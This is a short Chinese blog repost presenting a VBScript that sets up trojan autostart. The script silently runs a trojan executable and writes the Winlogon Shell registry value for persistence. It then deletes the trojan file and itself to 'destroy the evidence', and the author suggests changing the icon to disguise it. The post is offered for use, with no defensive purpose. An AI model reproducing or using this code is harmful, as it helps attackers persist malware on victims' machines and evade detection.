vbs 注册表实现木马自启动

237 阅读 0 评论 157 点赞

我是靠谱客的博主阳光西装，最近开发中收集的这篇文章主要介绍vbs 注册表实现木马自启动，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～

复制代码代码如下:

dim wsh 
set wsh=CreateObject("WScript.Shell") 
wsh.run "%windir%\flumasko.exe",0 //运行木马程序 
set sm=Wscript.CreateObject("WScript.Shell") 
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe" 
//写进注册表项实现自启动 
set WshShell=WScript.CreateObject("WScript.Shell") 
WScript.Sleep 2000 
//等木马的执行完毕 
Set fso=CreateObject("Scripting.FileSystemObject") 
f=fso.DeleteFile ("flumasko.exe") 
f=fso.DeleteFile (WScript.ScriptName) 
//毁尸灭迹 

再修改下图标就大功告成了！